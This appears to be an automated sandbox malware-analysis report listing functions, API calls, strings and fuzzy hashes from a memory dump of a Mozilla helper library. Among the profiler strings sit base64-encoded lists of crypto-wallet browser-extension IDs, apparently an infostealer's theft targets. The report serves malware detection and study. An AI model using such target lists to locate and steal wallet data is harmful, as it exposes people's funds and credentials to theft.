Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C65DFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6C65E3A2, 6C65E7AC

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn
API String ID: 0-3501656417
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79FB, 6C6C7E0B, 6C6C79C0, 6C6C793C, 6C6C7796, 6C6C7B0B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79FB, 6C6C7E0B, 6C6C79C0, 6C6C793C, 6C6C7C72, 6C6C7B0B, 6C6C7C03

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 76.7, APIs: 25, Strings: 26, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

ipcmessages, xrefs: 6C69CDBE
screenshots, xrefs: 6C69CCD4
Unrecognized feature "%s"., xrefs: 6C69CEA0
power, xrefs: 6C69CE84
fileioall, xrefs: 6C69CCA8
preferencereads, xrefs: 6C69CD92
mainthreadio, xrefs: 6C69CC7C
cpuallthreads, xrefs: 6C69CE16
unregisteredthreads, xrefs: 6C69CE58
seqstyle, xrefs: 6C69CCE6
nativeallocations, xrefs: 6C69CDA8
jsallocations, xrefs: 6C69CD0E
processcpu, xrefs: 6C69CE6E
leaf, xrefs: 6C69CC66
YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm, xrefs: 6C69CD25
stackwalk, xrefs: 6C69CCF8
b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6C69CF3B
default, xrefs: 6C69CC21
markersallthreads, xrefs: 6C69CE42
notimerresolutionchange, xrefs: 6C69CE00
noiostacks, xrefs: 6C69CCBE
samplingallthreads, xrefs: 6C69CE2C
nostacksampling, xrefs: 6C69CD7C
audiocallbacktracing, xrefs: 6C69CDD4
java, xrefs: 6C69CC37
fileio, xrefs: 6C69CC92

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm$audiocallbacktracing$b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-3374788471
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC
[I %d/%d] profiler_shutdown, xrefs: 6C664A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

kernel32.dll, xrefs: 6C6644CD
Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
user32.dll, xrefs: 6C664557, 6C66463F
NativeNtBlockSet_Write, xrefs: 6C6646F7
l, xrefs: 6C664578

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

